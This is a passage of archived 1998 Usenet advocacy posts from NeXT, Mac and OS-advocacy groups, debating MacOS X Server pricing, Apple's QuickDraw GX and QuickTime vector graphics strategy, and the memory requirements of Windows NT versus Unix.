> Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
> can't even bring myself to get angry about it anymore.
Snake eyes and boxcars -- Greg, your guess is $1166?
My hope: MacOSX Server will premiere at $199, including a license for
MacOS8.5, no WebObjects, which would be available at minimum cost.
My prediction: MacOSX Server will premiere at $999, no WebObjects. No
student discount ("Go buy MacOS8.5").
Sean
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
strategy...
Date: 20 Nov 98 10:41:30 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27AF807-37C28@206.165.43.169>
References: <F2q93t.E6@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Cc: "GX-Talk" <gx-talk@aimed.org>, "AIMED-Talk" <aimed-talk@aimed.org>,
"Dennis Sellers" <dsellers@maccentral.com>, menno@sapienza.it,
"Cary Clark" <cary@artemis.com>, "Eric King"
<rex@smallandmighty.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
>> Answer: YB graphics is based on Carbon. Apple or someone else would
>STILL
>> have to take the QT Vectors format and convert that into something that
>> end-users can use in a graphics app.
>
> ZZZtt wrong. Again. We've been over this, YB is not based on Carbon.
>
OK, YB and Carbon share the same graphics model which is incompatible with
GX and QUickTime. Not only do QuickTime vectors use exactly the same model,
but the color transitions used in QT use this same color model as well. I
can fake these kind of color QT transitions without having to call the QT
API in GXFCN. That can be very useful.
>> Personally, I think that this situation is appalling (and lets not even
>> mention the less capable Carbon API graphics model that is being used
>> *instead of* the obviously superior GX API).
>
> Personally I think you're the only one.
Really?
So you think that people should be GLAD that there is no simple, easy way
to create QuickTime vector graphics via a GUI without reinventing GX
graphics?
I can script any ole QT vector using GXFCN and then convert it to the QTV
format a heck of a lot more accurately and simply than anyone can script QT
vectors directly because you get immediate feedback via GXFCN. Once I get
the GUI for GXFCN going, I can allow the end-user to do WYSIWYG drawing of
QT vectors automatically. THis is obviously easier, and therefore cheaper,
than doing it all via QuickTime, as you suggest is sooooo easy to do.
I've got another advantage to doing it my way that won't exist on QT-based
QT vector generators: I can take full advantage of GX typography and
directly convert to QT vectors while still retaining the WYSIWYG-ness of
the process. That includes the text-on-path stuff, as well as the entire
capabilities of ATSUI (except for text-blocks).
ALSO, has anyone looked at the possibility of using QT as an internet "fax"
medium? In principle, I can take any QT vectors, as well as any layers of
bitmap images, and convert them BACK into GX, and print them or export them
to PS/EPS using my upcoming GX print utility. Since the color and transform
model of QuickTIme is based on GX, I can handle this far, FAR easier than
any ole model based on Carbon or YB.
As quite a few people have suggested, the most sensible way for Apple to
handle the whole transition to Carbon and Yellow Box is via GX.
What should be done (obviously) is to extend GX to include the
text-block-handling of ATSUI, as well as to handle the color ramp objects
of QT vectors.
On the Carbon/YB side, the color model of the graphics engine should be
expanded to handle the GX/QT vectors model for ALL shapes (not just
bitmaps), as well as provide backwards-compatible support for 3x3
perspective transforms (and yes, that DOES provide a "genuine" perspective
transform, albeit not as useful as a full 4x3 transform -Adobe appears to
be using 3x3 matrices for its "cutting edge" 2K Project app) and a
well-defined way of dealing with the quadratic Bezier shapes and the
fixed-point coordinates of GX and QT vectors.
As a bonus, an approximation of the standard cubic Beziers shapes of
YB/Carbon should be added into the GX shape definitions so that the
translation process can go both ways, if need be -there's already a "cubic
bezier" library available for GX, so this isn't some huge project. The
printing strategy for using intercepting shapes to precisely describe
overlapping, non-opaque objects should be revived for GX printing AND for
Carbon/YB printing. This bitmap solution is ludicrous.
A version of this GX library should be made availabe to any GX-compatible
MacOS computer for about $50 as a "partial OS upgrade" in order to defray
Apple's costs. By doing this, Apple would be providing an identical 2D
graphics and text-editing API for ALL MacOS computers from the earliest
color models on, thereby substantially increasing the potential number of
customers for MacOS developers, and creating a new wave of Mac-only
software that works on virtually ALL MacOS computers.
The YB-GX graphics API should retain some similarities to the standard GX
API and support (at least) the features of GX, but it should be
object-oriented (extensible), instead of object-based. The high-end
graphics API for Carbon should be identical to GX's, but use floating point
coordinates instead of fixed-point.
The GX shape-flattening API should be enhanced to handle the above, and a
library should be made available in the YB to convert GX and Carbon-GX
graphics into YB graphics. This PDF-based-graphics file-format BS should be
used as an EXPORT media by most apps instead of the preferred media for
graphics exchange.
The QuickTime media should be enhanced to handle the enhanced GX API,
including bitmaps and ATSUI-GX typography, so that native, feature-rich
"Internet Faxing," as well as QT-based DTP, can be accomplished locally,
AND over the Internet.
The above should be doable and without THAT much extra trouble on Apple's
part. With the right advertising campaign, Apple should be able to sell the
enhanced GX package to a substantial number of pre-MacOS 8 users -enough
to pay for the enhancements to GX. The doubling, or even tripling of the
potential customer-base for enhanced-GX/Carbon-GX/YB-GX apps should make it
a no-brainer for developers to support, not to mention the fact that it
would make development of apps for QUickTime vectors MUCH easier -even
trivial.
This is a rational way of providing a transitional strategy to YB & Carbon
graphics that embraces rather than excludes Apple's installed base of
customers and developers, don't you agree?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: kcci1@central.susx.ac.uk (Alan L.M. Buxey)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 20 Nov 1998 15:43:35 GMT
Organization: Department Of Amiga Studies (DOAS)
Message-ID: <7342n7$7oa$11@infa.central.susx.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com>
On 20 Nov 1998 14:26:31 GMT ,Stephen Edwards posted the following:
: Stephen Edwards <ja207030@primenet.com> wrote:
: Well, considering what many of you have responded with, it seems like I
: really have jumped the gun. Now that some of you have stated that other
: UNIX variants have the same or higher requirements, it sort of puts
: everything back into perspective. Personally, I have not had any
no it doesnt. those UN8X variants do a LOT LOT more than the WinNT does
and they are a lot more stable too.
yes, you may need a lot of memory of HD space for a server...but thats
the reason why, its a server...it'll have to spool a lot and its best to
cache things in memory etc
However, if i installed Win2000 personal (ha ha! *if*....i like that..)
I certainly WOULDNT expect to be asked for 32Mb of RAM and 300Mb of HD
just for the OS. I'm happy to let Linxu use that because I know that the
OS isnt that space..you get a LOT more in tht space
alan
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: PostScript imaging model (was Re: Tweaking fonts)
Date: 20 Nov 1998 18:19:15 GMT
Organization: Primenet (602)416-7000
Message-ID: <734br3$cdh$1@nnrp02.primenet.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com> <72vbkd$i68$1@news.xmission.com> <F2ppF0.FB7.0.scream@sounds.wa.com> <F2qB4D.1JI@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <F2ppF0.FB7.0.scream@sounds.wa.com> Brian Willoughby wrote:
: > I wouldn't suggest using the GhostScript language interpreter, partly
: > because I believe that the GS licensing wouldn't allow Apple to sell
: > an OS based in part on any GS code.
: I don't believe this is true.
When I heard that Apple had to get a Postscript license, I assumed it was
because they were contractually blocked from creating or using a clone.
That is, over the years of Apple agreements with Adobe (and there have
been many) they may have specifically agreed to use Adobe as their
Postscript provider.
(I only skimmed your long message ... perhpas you said the same thing).
John
From: "Allan Meidlein" <allan.meidlein@bcstechnology.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <nCi52.3499$%X5.8617027@newsgate.direct.ca>
Date: Fri, 20 Nov 1998 10:33:04 -0800
NNTP-Posting-Date: Fri, 20 Nov 1998 10:33:55 PDT
Organization: Canada Internet Direct, Inc.
> Depending what you're
>serving, there's no reason 16 MB couldn't be sufficient for a unix
>machine.
Exactly. I have multiple inbound/outbound T1 cards handling 10s of
thousands of hours of interactive voice response calls per week and having
16 Mb is dangerously low. It depends on what you do, like you said.
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 20:08:58 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <199811202008582097043@mp-214-164.daxnet.no>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu>
Sean Luke <seanl@cs.umd.edu> wrote:
> Greg Anderson (greg@afs.com) wrote:
> > Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
> > can't even bring myself to get angry about it anymore.
>
> Snake eyes and boxcars -- Greg, your guess is $1166?
Huh? Please elaborate for us europeans... ;-)
>
> My hope: MacOSX Server will premiere at $199, including a license for
> MacOS8.5, no WebObjects, which would be available at minimum cost.
I`d say $300, no WO, no IB and PB, and a student discount. No bets,
though. <G>
>
> My prediction: MacOSX Server will premiere at $999, no WebObjects. No
> student discount ("Go buy MacOS8.5").
>
> Sean
Wow, if that happens, Apple will have finally proven that they are
exremely good at shooting feet with huuuge cannons. I don`t think they
are, however. Something close to $200-300 and a distribution fee for the
student version is more likely. Of course, dev tools would be extra in
any shrinkwrap.
BTW; The new WO price might be indicative of the price of MXS. They`re
now selling WO 4.0 for the neat price of $1499. A "WO-solution" would
then cost something like $3000-3500 (G3+MXS+WO4.0). Or am I making up
stories now? Hope not.
Disclaimer: I have no idea what Apple is going to sell it for. This is
simply (un?)qualified guesswork.
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 19:22:22 GMT
Message-ID: <slrn75bgbb.bqd.float@interport.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de>
NNTP-Posting-Date: 20 Nov 1998 19:22:22 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 20 Nov 1998 09:57:03 +0100, Axel Boldt <axel@uni-paderborn.de> wrote:
>"Allan Meidlein" <allan.meidlein@bcstechnology.com> writes:
>
>> Deal with it; the days of 16 Mb and Pentiums were over long ago.
>
>What are you guys smoking? The machine I bought four years ago was
>absolutely perfect for me. And of course, it is still absolutely
>perfect for me, because I haven't changed and the machine hasn't
>changed.
I post from a vintage-'93 machine, with 48 megs of RAM and a 33 MHz
processor.
--
Ben
"You have your mind on computers, it seems."
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: Fri, 20 Nov 1998 11:27:32 -0800
Organization: University of British Columbia
Message-ID: <1disdcm.sthu06m8h4ihN@p020.intchg1.net.ubc.ca>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <nevin-2011980247420001@d149.focal8.interaccess.com> <73402f$7tn$2@nnrp03.primenet.com>
User-Agent: MacSOUP/2.4b3
John Jensen <jjens@primenet.com> wrote:
> BTW, Microsoft thinks Linux poses a real threat to its monopoly over PC
> operating systems:
>
> http://www.zdnet.com/zdnn/stories/news/0,4586,2167419,00.html
Hard to believe they've actually come out and said, in effect: "Yes, you
can successfully compete with us --if you give your products away for
free."
And this is meant to reassure government and the rest of the industry?
--
Bruce Bennett
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin>
Message-ID: <01be150e$a7080a40$a1f1ccc3@default>
Date: 20 Nov 98 20:20:26 GMT
Stephen Kwasniak <skwasniak@westpac.com.au> wrote:
> sure NT is bloatware but so is all of MS other products
Actually, MS has managed to develop a few decent
products from time to time. WinCE is a good example
IMO, with a full win32 complient API with a host of
elegant features basically fitting inside a 200Kb footprint.
Regards...
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Why won't M. Rassbach answer these questions?
Message-ID: <3655cfd9.23479416@news.chicagonet.net>
NNTP-Posting-Date: Fri, 20 Nov 1998 15:24:05 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 20 Nov 1998 20:25:00 GMT
I posed some questions to M. Rassbach in previous posts. After doing
nothing but insult me, in his single reply, he disappeared. He must
either have no integrity or he must have died.
Here are the questions again:
BSD source code is free. Why are you demanding proof that Apple paid
for BSD source code?
You said that you installed Unix on your TAM (Twentieth Annversary
Macintosh). Because you said that FreeBSD installs by inserting a
floppy disk, in the same paragraph, you implied that you had installed
FreeBSD on your TAM.
FreeBSD only runs on the PC. NetBSD runs on the Mac, but only on 68K
Macs, not the TAM. Which Unix did you install on your TAM?
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <slrn75bkoj.gqk.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com>
Date: Fri, 20 Nov 1998 20:36:02 GMT
In article <733u6n$a06$1@nnrp02.primenet.com>, Stephen Edwards wrote:
>Well, considering what many of you have responded with, it seems like I
>really have jumped the gun. Now that some of you have stated that other
>UNIX variants have the same or higher requirements, it sort of puts
>everything back into perspective. Personally, I have not had any
>experience with high-end computer systems, and so I suppose I was merely
>unaware that such requirements are actually quite common.
Actually, in my opinion you should be more incensed by some of the other
things you mentioned in your post. Putting GDI into the kernel?! That's gotta
do good things for the stability of the OS and it's a great precedent. What
goes in next? Word?!
Its this kind of "wrong answer to the right problem" that burns my ass about
Microsoft. If GDI is slow, then fix it for crying out loud! Do a better job.
Hell, *Display* *PostScript* on my 25 MHz. 68040 NeXTstation feels faster than
NT GDI on the 200 MHz PPro beside it.
It doesn't have to be the case that one's OS feels like some kind of
undergrad Operating Systems course class project. Sadly, with Microsoft
OS products today, that's definitely the feel of it.
Mark
From: ttammi@netlife.fi (ttammi)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 20 Nov 1998 20:40:04 GMT
Organization: None
Message-ID: <3655d240.3919304@news.netlife.fi>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Stephen Edwards <ja207030@primenet.com> wrote:
>Well, assuming what you state is true, perhaps I have jumped the gun.
>However, it just seems insane for an OS to have such hefty hardware
>requirements... it's difficult for me to see exactly _why_ needing 64MB of
>RAM to use a server makes sense. If I am just being highly irrational
>here, please tell me so.
Well, the HP-UX workstations we run at work seem to always have
minimum 64MB of memory, and in many cases 128MB. Not to mention the
bigger HP-UX machines...
But I'm interested to see what Windows2000 will offer for that extra
memory and HD space. If it is just some stupid stuff like "World's
first animating Windows wallpapers!!!"...
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 15:58:59 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <734l8p$f2i@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no>
Thomas Sivertsen wrote:
>Sean Luke <seanl@cs.umd.edu> wrote:
>> Greg Anderson (greg@afs.com) wrote:
>> > Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously,
I
>> > can't even bring myself to get angry about it anymore.
>>
>> Snake eyes and boxcars -- Greg, your guess is $1166?
>
>Huh? Please elaborate for us europeans... ;-)
In the dice game "craps," snake-eyes are double-ones, and boxcars are
double-sixes. Sean was making a mathematical pun. Of course, what I really
intended to imply by my original remark was that us old-time NeXT folks had
made our bets, and now it looks like we've "crapped out". (Which is what
happens if you roll 2, 3, or 12 before making your original point again.)
>> [Sean's] prediction: MacOSX Server will premiere at $999, no WebObjects.
>> No student discount ("Go buy MacOS8.5").
>
>Wow, if that happens, Apple will have finally proven that they are
>exremely good at shooting feet with huuuge cannons. I don`t think they
>are, however. Something close to $200-300 and a distribution fee for the
>student version is more likely. Of course, dev tools would be extra in
>any shrinkwrap.
I don't have any inside knowledge of specific prices, but my sense is that
Sean's guess is closer to what will be announced. Consider that the last
official runtime version of OPENSTEP 4.2 was $795 (without dev tools). It's
true there was an academic version, but as Sean points out, Apple already
has one of those: 8.5.
Greg
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Content-Type: text/plain; charset=us-ascii
Message-ID: <F2qp1K.9r3@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: nagle@netcom.com
Organization: needs one
References: <B27A4B1E-2812E@206.165.43.102> <F2q93t.E6@T-FCN.Net>
<nagleF2qDEL.8sw@netcom.com>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 21:29:44 GMT
In <nagleF2qDEL.8sw@netcom.com> John Nagle wrote:
> > ZZZtt wrong. Again. We've been over this, YB is not based on Carbon.
>
> All those colored boxes never happened, right? Did any of that
> stuff ever ship?
Sorry John, you lost me. What colored boxes in reference to the graphics
engine? My point is that the graphics engine lies outside either Carbon or
Yellow, much like networking lies outside of Carbon or Yellow.
Maury
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Why won't M. Rassbach answer these questions?
Date: Fri, 20 Nov 1998 16:33:29 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2011981633300001@pelli.pathology.pitt.edu>
References: <3655cfd9.23479416@news.chicagonet.net>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <3655cfd9.23479416@news.chicagonet.net>,
milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
> I posed some questions to M. Rassbach in previous posts. After doing
> nothing but insult me, in his single reply, he disappeared. He must
> either have no integrity or he must have died.
....something about bullshit walking
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 21:39:00 GMT
Message-ID: <slrn75bobf.drp.float@interport.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com>
NNTP-Posting-Date: 20 Nov 1998 21:39:00 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 20 Nov 1998 20:55:36 GMT, Tony Minkoff <tminkoff@cts.com> wrote:
>
>(Just out of curiosity, what are you running on that dinosaur?)
It's a NeXTstation, I'm running NeXTStep 3.3 on it.
--
Ben
"You have your mind on computers, it seems."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
strategy...
Date: 20 Nov 98 14:46:32 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27B314A-2E4F7@206.165.43.155>
References: <F2qp1K.9r3@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <nagleF2qDEL.8sw@netcom.com> John Nagle wrote:
>> > ZZZtt wrong. Again. We've been over this, YB is not based on
Carbon.
>>
>> All those colored boxes never happened, right? Did any of that
>> stuff ever ship?
>
> Sorry John, you lost me. What colored boxes in reference to the
graphics
>engine? My point is that the graphics engine lies outside either Carbon
or
>Yellow, much like networking lies outside of Carbon or Yellow.
>
And my point was that regardless of where the graphics engine sits in the
cute diagrams that John was referring to, the color model and transform
model are incompatible with GX's.
They don't have to be, but they are.
The only reasons that I could come up with for why Apple would not just
freeze GX development, but actually stop bundling are:
1) too hard to make work with Carbon
I don't believe this one at all, because I was told by THE One Who SHould
Know, way back when, that GX could easily be made compatible with
Rhapsody's Display PostScript technology via the direct-to-screen techology
(whatever it's called). I can't imagine that it would be harder to make it
work with the underlying graphics engine of Carbon and YB -all it needs is
a memory address to a bitmap for rendering, and a way of being told when
onscreen windows have changed size/shape.
2) Adobe said "get rid of GX." This would have been plausible 2-3 years
ago, but I doubt that Adobe really worries about GX any more.
3) Apple thinks that no-one wants GX. This is true, but that's because
no-one knows what GX can do (but they will ;-)
4) Apple wanted to force 3rd-party QuickTime developers to move
cross-platform. This is the most plausible explanation. If a "cheat" is
available that makes QuickTime vector editing ludicrously easy on MacOS
compared to Windows-based QT vector editing, why would anyone bother with
Windows QT Vectors editors? Apple *NEEDS* to have a Windows presence for
QuickTIme editing if QuickTIme is to survive, so if developers are forced
to go to the trouble of reinventing the GX API for a drawing app, they
might as well market on the Windows side in order to recoup their
development costs.
I can understand this last, but I don't have to like it.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Content-Type: text/plain; charset=us-ascii
Message-ID: <F2qrn2.B9J@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <F2q93t.E6@T-FCN.Net> <B27AF807-37C28@206.165.43.169>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 22:25:49 GMT
In <B27AF807-37C28@206.165.43.169> "Lawson English" wrote:
> OK, YB and Carbon share the same graphics model
Yes, much better.
> which is incompatible with GX and QUickTime.
What makes you say this? QT's stuff runs over QD now, do you have any
reason to suspect it won't run over eQD? I don't think you do, and I
certainly don't.
>Not only do QuickTime vectors use exactly the same model,
> but the color transitions used in QT use this same color model as well.
Good, let's change them too. You still don't get it after a more than a
WHOLE YEAR on the same topic. Here, let me outline it for you AGAIN...
Developers: we need an update to QD that doesn't have a 32k limit, and it
would be nice if it had floats and made working with PS easier.
Old Apple: Here's GX, it's nothing at all what you asked for, doesn't ship
with the machine because only about 1 in 4 can support it now, and the
books for it weigh about 30 pounds and take up 2 feet of shelf space.
New Apple: Here's eQD, it's a floating point based system with no 32k limit
that looks a lot like PS so that will be easier to use.
Which do you think more developers will be interested in? Something that
makes it easier to shim QT vectors, or something that makes it easier to
work with PS? Well then, I guess that's that then right?
> Really?
Yes, really. Do you see anyone else supporting your position? No? I
guess that means you're the only one then.
> So you think that people should be GLAD that there is no simple, easy way
> to create QuickTime vector graphics via a GUI without reinventing GX
> graphics?
How said anything about glad? I said "won't care". Rest of "GX is
better than superman " comparison snipped as being off topic.
> ALSO, has anyone looked at the possibility of using QT as an internet
> "fax" medium?
Oh yeah, that'll happen. About the same time OD takes over the workd.
> to PS/EPS using my upcoming GX print utility. Since the color and
> transform
> model of QuickTIme is based on GX, I can handle this far, FAR easier than
> any ole model based on Carbon or YB.
Whereas the standard for faxing description based files already exists,
and is PS.
> As quite a few people have suggested, the most sensible way for Apple to
> handle the whole transition to Carbon and Yellow Box is via GX.
Yes, a "few". About four to be exact. And they're wrong, as GX does not
support a float based map with no pixel limit, this would make it harder to
convert YB. The opposite is not true, a floor(x) will always work. In
fact simply declaring it as an int will work. One more little issue you've
simply ignored.
> On the Carbon/YB side, the color model of the graphics engine
Bla bla bla. What you're saying is that they should chuck all the work to
date, toss out all the ps side of things, replace this with a new
non-existing version of code that was not well tested and all the
developers for are no longer at Apple, doesn't work as well for imaging to
printers, and never really worked even on the Mac, and do this to support
something in QT that no one uses anyway.
Yeah, good idea, why don't you get right on that.
> The above should be doable and without THAT much extra trouble
Riiight, it even took a whole page to DESCRIBE it!
> This is a rational way
When Apple starts looking to you for rational ways to build an imaging
engine, I'm starting to write Win code.
> Apple's installed base of customers and developers, don't you agree?
Apple's current customers on either the Carbon, or YB side, OR BB as you
neglected to mention, will not see a single change with the change to eQD
from what I've seen/read. The same could not be said for GX even on MacOS.
And this is what you call a good idea? In fact, I think the fact that it
never worked in the past and was not supported by any number of developers
is an excellent sign that it would not work in the future or be supported
by developers, let alone the difficulties that you outlined in your long
diatribe about what Apple should be doing.
So no, I don't agree.
Maury
From: Jonathan Dingel <JDROCKS@prodigy.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 19 Nov 1998 16:43:54 -0800
Organization: Prodigy Internet
Message-ID: <3654BB4A.5850@prodigy.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
void wrote:
>
> On 20 Nov 1998 09:57:03 +0100, Axel Boldt <axel@uni-paderborn.de> wrote:
> >"Allan Meidlein" <allan.meidlein@bcstechnology.com> writes:
> >
> >> Deal with it; the days of 16 Mb and Pentiums were over long ago.
> >
> >What are you guys smoking? The machine I bought four years ago was
> >absolutely perfect for me. And of course, it is still absolutely
> >perfect for me, because I haven't changed and the machine hasn't
> >changed.
>
> I post from a vintage-'93 machine, with 48 megs of RAM and a 33 MHz
> processor.
>
> --
>
> Ben
>
> "You have your mind on computers, it seems."I post from a 1992 25 mhz 8MB machine.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Content-Type: text/plain; charset=us-ascii
Message-ID: <F2qt7y.C0D@T-FCN.Net>
Sender: news@T-FCN.Net
